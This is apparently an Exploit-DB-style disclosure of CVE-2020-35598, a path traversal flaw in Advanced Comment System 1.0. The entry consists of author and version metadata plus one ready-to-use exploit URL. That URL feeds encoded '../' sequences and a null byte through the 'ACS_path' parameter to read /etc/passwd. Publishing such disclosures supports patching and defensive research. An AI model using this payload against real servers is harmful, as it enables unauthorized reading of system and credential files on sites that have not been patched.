Advanced Comment System 1.0 - 'ACS_path' Path Traversal

# Exploit Title: Advanced Comment System 1.0 - 'ACS_path' Path Traversal
# Date: Fri, 11 Dec 2020
# Exploit Author: Francisco Javier Santiago Vázquez aka "n0ipr0cs"
# Vendor Homepage: Advanced Comment System - ACS
# Version: v1.0
# CVE: CVE-2020-35598

http://localhost/advanced_component_system/index.php?ACS_path=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%00